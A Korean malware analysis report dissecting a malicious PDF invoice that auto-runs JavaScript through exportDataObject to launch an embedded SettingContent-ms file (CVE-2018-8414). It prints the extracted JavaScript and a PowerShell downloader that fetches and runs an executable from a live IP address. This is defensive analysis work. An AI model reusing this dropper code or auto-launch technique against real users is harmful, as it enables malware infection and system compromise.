1. 개요
1.1 분석 수행 인원
•
이수영
1.2 파일 정보
File Name | inovoice-019338.pdf |
Size | 2.3 KB |
Type | PDF 1.4 |
Behavior | Downloader |
MD5 | 2f7cec0f91a5fd23d706dc53a82b2db7 |
SHA256 | 576a373ccb9b62c3c934abfe1573a87759a2bfe266477155e0e59f336cc28ab4 |
ssdeep | 48:/KhVqyR0ZXEKYiG4Xus2EbfQIPaL7gjwmVLeG1pCZQ8VuwySPF:/KhJeXEme44IiL7gsmVLeGnCZQGujSPF |
VirusTotal | 40 / 64 (62.5%) |
1.3 Time table
2. 악성코드 상세 분석
2.1 inovoice-019338.pdf 분석
(1) pdf 내의 의심스러운 키워드 찾기
$ pdfid.py inovoice-019338.pdf
Bash
복사
pdfid.py를 활용하여 의심스러운 키워드를 찾으면 위와 같다. 의심스러운 키워드로는 /JS가 2개, /JavaScript가 3개, /OpenAction이 1개, /EmbeddedFile이 1개 존재한다. 즉, inovoice-019338.pdf 파일에는 내장된 파일과 자바스크립트가 존재하고 해당 PDF 문서를 열어봄과 동시에 무엇인가 행위를 하도록 구성되어 있음을 파악할 수 있다.
(2) pdf 파일 내의 오브젝트 분석
$ pdf-parser.py --search /OpenAction inovoice-019338.pdf
Bash
복사
PDF 문서를 열면 제일 먼저 /OpenAction 키워드에 정의되어 있는 스크립트가 실행된다. 위 이미지를 보면 function11\\(\\) 함수가 실행됨을 알 수 있으나 자세한 스크립트 확인이 불가능하다. 따라서 obj 12에서 실행하는 function11\\(\\) 함수의 실제 코드가 포함된 오브젝트를 확인해야 한다.
$ pdf-parser.py --search /JavaScript inovoice-019338.pdf
Bash
복사
PDF 파일에서 /JavaScript 키워드를 기반으로 검색한 결과 obj 4와 obj 11에서 자바스크립트 키워드를 발견했고 각각 obj 3과 obj 9를 참조하고 있다. 추가로 obj 11에서는 /EmbeddedFiles 키워드가 발견되었으며 obj 10을 참조하고 있다. 따라서 obj 3과 obj 9, obj 10을 추가로 확인해야 한다.
$ pdf-parser.py --object 4 inovoice-019338.pdf
$ pdf-parser.py --object 9 inovoice-019338.pdf
$ pdf-parser.py --object 10 inovoice-019338.pdf
Bash
복사
obj 4는 obj 3, obj 9는 obj 4, obj 10은 obj 2를 참조하고 있다. 즉, 자바스크립트를 분석하기 위해서는 obj 3을 확인해야 하고 내장된 의심스러운 파일을 분석하기 위해서는 obj 2를 확인해야 한다.
obj3을 확인한 결과 obj 3에 stream(자바스크립트)이 포함되어 있는 것을 확인할 수 있고 obj 2를 확인한 결과 obj 1을 참조하고 있다. 그리고 obj 1를 확인한 결과 obj 1에 stream(EmbeddedFile)이 포함되어 있는 것을 확인할 수 있다.
(3) 전체 PDF 구조
해당 PDF 악성코드는 위 그림과 같은 순서로 자바스크립트 및 내장된 파일을 참조한다.
(4) 자바스크립트 분석
$ pdf-parser.py --object 3 --raw --filter inovoice-019338.pdf
Bash
복사
obj 3를 보면 obj 1에서 확인했던 function11\\(\\) 함수의 실제 스트림이 포함되어 있고 /FlateDecode 키워드를 보면 zlib 라이브러리로 압축되어 있음을 확인할 수 있다. 따라서 --raw --filter 옵션을 붙여주면 obj 3에 포함된 function11\\(\\) 함수를 확인할 수 있다.
function function11() {
var functionDataMass = {};
functionDataMass['nLaunch'] = 2;
functionDataMass['cName'] = 'downl.SettingContent-ms';
functionDataMass['r2'] = 'exportDataObject';
this[functionDataMass['r2']](functionDataMass);
}
JavaScript
복사
obj 3에 포함되어 있는 function11() 함수의 코드는 위와 같다. function11()함수의 코드를 보면 “exportDataObject”를 사용하고 있다. PDF에서는 exportDataObject 메소드를 이용해서 첨부 파일을 실행할 수 있는데 이 PDF 악성코드는 이 기능을 이용해서 첨부된 파일을 특정 경로에 저장 및 실행한다. exportDataObject 메소드의 정보는 아래와 같다.
주요 파라미터 | 설명 |
cName | 추출할 객체의 이름 |
bAllowAuth | Boolean 값으로 “True”로 설정하면 사용자 인증을 위한 대화 상자 표시 |
nLaunch | 첨부 파일을 어떻게 실행할지 결정
0 - 파일 저장만 하고 실행하지 않음.
1 - 사용자에게 저장 경로를 물어보고 해당 경로에 파일 저장 후 실행함.
2 - 임시 경로에 파일을 저장 후 실행함. 저장된 파일은 Acrobat이 종료될 때 삭제함. |
메소드 정보를 기반으로 function11() 함수를 분석하면 “downl.SettingsContent-ms”라는 이름의 파일을 임시 경로에 저장 후 실행한다. 따라서 PDF내에 내장된 파일이 포함된 object 1을 분석해야 한다.
(5) 내장된 파일 분석
object 1에는 XML 파일이 내장되어 있고 해당 파일을 분석하면 <DeepLink> 태그를 이용해서 파워쉘 스크립트를 실행하는 것을 알 수 있다.
$a='http://169.239.129.117/cal'
$b=\"$env:temp\update12.exe\"
$webc = [System.Net.WebClient]::new()
$webc.DownloadFile($a, $b)
$pclass = [wmiclass]'root\cimv2:Win32_Process'
$pclass.Create($b, '.', $null)
PowerShell
복사
파워쉘 코드를 분석해보면 WebClient 객체를 생성하고 hxxp://168.239.129.117/cal에서 %TEMP%\update12.exe에 악성코드를 저장하고 실행한다.
2.2 update12.exe 분석
현재 악성코드 샘플이 없음. 샘플을 찾는대로 분석 진행 예정(미정)
3. 결론 및 대응 방안
inovoice-019338.pdf 악성코드는 CVE-2018-8414 취약성을 이용하여 공격하는 다운로더형 악성코드로 파일 실행 시 내부에 있는 악성 자바스크립트가 exportDataObject 객체를 이용해서 CVE-2018-8414 취약성을 악용하는 파일을 임시로 저장 후 실행한다. 해당 파일이 실행되면 hxxp://169.239.129.117/cal에서 악성코드를 다운받아서 %TEMP%\update.exe 경로에 저장 후 실행하도록 구성되어있다.
해당 악성코드에서 사용하는 CVE-2018-8414는 RCE(Remote Code Execution) 취약성으로 Windows 10, Windows 10 Servers에 영향을 미치는 취약성이다. 따라서 해당 운영체제를 사용하는 경우 최신버전 업데이트가 필요하다.